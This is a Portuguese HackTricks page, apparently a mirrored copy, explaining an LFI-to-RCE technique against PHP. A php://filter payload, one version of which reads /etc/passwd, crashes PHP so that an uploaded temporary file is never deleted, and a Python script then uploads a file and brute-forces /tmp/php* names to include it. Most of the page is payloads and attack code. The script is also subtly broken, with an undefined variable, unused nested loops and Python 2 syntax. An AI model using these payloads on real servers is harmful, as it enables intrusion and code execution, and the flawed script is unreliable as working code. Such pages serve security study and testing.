mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 18:43:29 +00:00
86 lines
4.3 KiB
Markdown
86 lines
4.3 KiB
Markdown
# LFI2RCE via Segmentation Fault
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoie o HackTricks</summary>
|
|
|
|
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
De acordo com os writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), os seguintes payloads causaram uma falha de segmentação no PHP:
|
|
```php
|
|
// PHP 7.0
|
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|
|
|
// PHP 7.2
|
|
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
|
```
|
|
Deve saber que se **enviar** um pedido **POST** **contendo** um **ficheiro**, o PHP irá criar um **ficheiro temporário em `/tmp/php<algo>`** com o conteúdo desse ficheiro. Este ficheiro será **automaticamente eliminado** assim que o pedido for processado.
|
|
|
|
Se encontrar uma **LFI** e conseguir **desencadear** um erro de segmentação no PHP, o **ficheiro temporário nunca será eliminado**. Portanto, pode **procurá-lo** com a vulnerabilidade **LFI** até o encontrar e executar código arbitrário.
|
|
|
|
Pode usar a imagem docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para testar.
|
|
```python
|
|
# upload file with segmentation fault
|
|
import requests
|
|
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
|
|
files = {'file': open('la.php','rb')}
|
|
response = requests.post(url, files=files)
|
|
|
|
|
|
# Search for the file (improve this with threads)
|
|
import requests
|
|
import string
|
|
import threading
|
|
|
|
charset = string.ascii_letters + string.digits
|
|
|
|
host = "127.0.0.1"
|
|
port = 80
|
|
base_url = "http://%s:%d" % (host, port)
|
|
|
|
|
|
def bruteforce(charset):
|
|
for i in charset:
|
|
for j in charset:
|
|
for k in charset:
|
|
for l in charset:
|
|
for m in charset:
|
|
for n in charset:
|
|
filename = prefix + i + j + k
|
|
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
|
print url
|
|
response = requests.get(url)
|
|
if 'spyd3r' in response.content:
|
|
print "[+] Include success!"
|
|
return True
|
|
|
|
|
|
def main():
|
|
bruteforce(charset)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
{% hint style="success" %}
|
|
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Suporte ao HackTricks</summary>
|
|
|
|
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|